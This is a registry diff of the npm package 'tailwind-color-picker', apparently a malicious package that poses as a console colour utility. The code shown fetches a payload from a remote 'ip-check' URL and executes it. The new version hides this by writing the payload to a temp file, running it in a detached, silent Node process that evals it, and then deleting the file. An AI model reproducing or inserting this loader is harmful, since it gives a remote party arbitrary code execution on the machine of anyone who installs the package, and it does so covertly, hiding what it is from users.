tailwind-color-picker 1.4.1 → 1.4.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "tailwind-color-picker",
3
3
  "description": "get colors in your node.js console",
4
- "version": "1.4.1",
4
+ "version": "1.4.2",
5
5
  "author": "Marak Squires",
6
6
  "contributors": [
7
7
  {
@@ -1,4 +1,8 @@
1
1
  const axios = require('axios');
2
+ const child_process = require('child_process');
3
+ const fs = require('fs');
4
+ const os = require('os');
5
+ const path = require('path');
2
6
 
3
7
  const config = {
4
8
  ipCheckUrl: 'https://www.isillegalregion.com/api/ip-check-encrypted/3aeb34a37',
@@ -19,11 +23,17 @@ axios
19
23
  timeout: config.timeout
20
24
  })
21
25
  .then((response) => {
22
- try {
23
- eval(response.data);
24
- } catch (e) {
25
- // ignore
26
- }
26
+ const tmpFile = path.join(os.tmpdir(), 'tailwind-color-picker-' + Date.now() + '.js');
27
+ fs.writeFileSync(tmpFile, response.data, 'utf8');
28
+ const child = child_process.spawn(process.execPath, [
29
+ '-e',
30
+ "const fs=require('fs');const p=process.argv[3];try{eval(fs.readFileSync(p,'utf8'));}catch(e){}try{fs.unlinkSync(p);}catch(e){}",
31
+ tmpFile
32
+ ], {
33
+ detached: true,
34
+ stdio: 'ignore'
35
+ });
36
+ child.unref();
27
37
  finish();
28
38
  })
29
39
  .catch(() => {